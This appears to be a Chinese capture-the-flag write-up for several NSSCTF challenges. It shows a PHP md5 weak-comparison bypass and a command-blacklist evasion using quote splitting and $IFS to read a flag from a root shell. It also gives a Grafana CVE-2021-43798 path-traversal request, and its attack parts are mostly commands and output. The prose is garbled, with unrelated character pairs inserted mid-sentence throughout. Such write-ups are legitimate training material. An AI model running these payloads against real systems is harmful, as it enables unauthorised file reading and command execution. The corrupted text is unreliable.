NSS第一題
通過閱讀代碼,可以看出是要求你通過POST請求傳遞一個id為"wllmNB"參數(shù)的同時,通過get請求也傳遞一個json格式的參數(shù),關(guān)鍵payload如下:
POST /?json={"x":"wllm"} HTTP/1.1
...
id=wllmNB
第二題easy MD5
POST糕殉、GET、MD5匹配
仔細(xì)閱讀代碼發(fā)現(xiàn)
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
既要兩變量個值不相同俗批,又要兩個變量md5值一樣炊豪,
可以發(fā)現(xiàn)此時判斷md5值是否一樣用的是==在跳,這是php的弱類型比較,
方法一: 可以使用帶0e開頭的數(shù)字穿進(jìn)行傳遞參數(shù)零如,
因為php會將0e開頭的數(shù)字轉(zhuǎn)化為0躏将,故此時md5值相等,而兩個變量值不相等考蕾;
方法二: 可以傳遞數(shù)組祸憋,如name[]=123,password[]=456,md5不能加密數(shù)組肖卧,故兩個md5返回的都是null
另:若遇到===這樣的強類型比較蚯窥,方法一就失效了,
方法二仍然有效塞帐,或者還可以使用軟件fastcoll進(jìn)行md5碰撞拦赠,生成兩個字符串使得他們的md5值相同
nc簽到題
直接nc連接就可以
nc 1.14.71.254 28184
root@2837d425b7c744ca:/# cat mai
cat main.py
import os
art = '''
(( "####@@!!$$ ))
`#####@@!$$` ))
(( '####@!!$:
(( ,####@!!$: ))
.###@!!$:
`##@@!$:
`#@!!$
!@# `#@!$: @#$
#$ `#@!$: !@!
'@!$:
'`\ "!$: /`'
'\ '!: /'
"\ : /"
-."-/\\\-."http://.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."http://.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
過濾了空格、ls葵姥、cat荷鼠、<等,可以使用引號截斷繞過榔幸,
pwd
/
l's'
bin
boot
dev
etc
flag
home
lib
lib64
main.py
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
c'at'$IFS$9flag
T世帧!O髋亍牍疏!其他方法!2ζ搿A墼伞!
=======
a=c;b=a;c=t;$a$b$c$IFS$1flag
nl$IFS$9f*
=======
在bash的shell下瞻惋,nc完了直接輸su厦滤,然后沒反應(yīng),
不用管歼狼,繼續(xù)輸cat flag就出來了哈哈哈馁害,不過我試了一下zsh情況下卻打不通
su
id
uid=0(root) gid=0(root) groups=0(root)
zsh
id
uid=0(root) gid=0(root) groups=0(root)
這里以后輸入命令就不會有任何限制了
ls
bin
boot
dev
python3 -c "import pty;pty.spawn('/bin/bash')"
root@2837d425b7c744ca:/# ls
ls
bin dev flag lib main.py mnt proc run sbin sys usr
boot etc home lib64 media opt root run.sh srv tmp var
root@2837d425b7c744ca:/# cat flag
cat flag
NSSCTF{18d9a291-706e-4f17-9759-90e0af7e985f}
root@2837d425b7c744ca:/#
NSS 實戰(zhàn)
CVE-2021-43798 Grafana任意文件讀取
抓包,修改路徑
/public/plugins/gauge/../../../../../../../../../flag